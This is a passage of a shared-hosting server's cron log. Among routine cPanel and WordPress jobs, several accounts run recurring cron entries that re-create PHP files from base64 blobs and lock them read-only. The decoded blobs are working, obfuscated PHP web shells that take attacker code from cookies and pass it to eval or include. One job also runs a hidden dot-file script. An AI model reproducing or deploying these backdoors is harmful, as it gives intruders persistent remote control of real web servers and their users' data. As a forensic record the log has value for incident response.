kgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:24:01 medusa CROND[17488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:24:01 medusa CROND[17489]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:24:01 medusa CROND[17492]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:24:01 medusa CROND[17490]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:24:01 medusa CROND[17505]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:24:01 medusa CROND[17506]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:24:01 medusa CROND[17507]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:24:01 medusa CROND[17508]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:24:01 medusa CROND[17504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[6758]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 05:25:01 medusa CROND[6987]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 05:25:01 medusa CROND[6989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[6990]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 05:25:01 medusa CROND[6991]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:25:01 medusa CROND[6992]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[6993]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:25:01 medusa CROND[7002]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[7004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 05:25:01 medusa CROND[7008]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 05:25:01 medusa CROND[7006]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:25:01 medusa CROND[7009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:25:01 medusa CROND[7010]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:25:01 medusa CROND[7011]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 05:25:01 medusa CROND[7012]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[7014]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[7015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 05:25:01 medusa CROND[7007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 05:25:01 medusa CROND[7021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 05:25:01 medusa CROND[7028]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:25:01 medusa CROND[7029]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:25:01 medusa CROND[7001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:26:02 medusa CROND[24583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:26:02 medusa CROND[24693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:26:02 medusa CROND[24695]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:26:02 medusa CROND[24694]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 05:26:02 medusa CROND[24699]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:26:02 medusa CROND[24698]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:26:02 medusa CROND[24702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1sw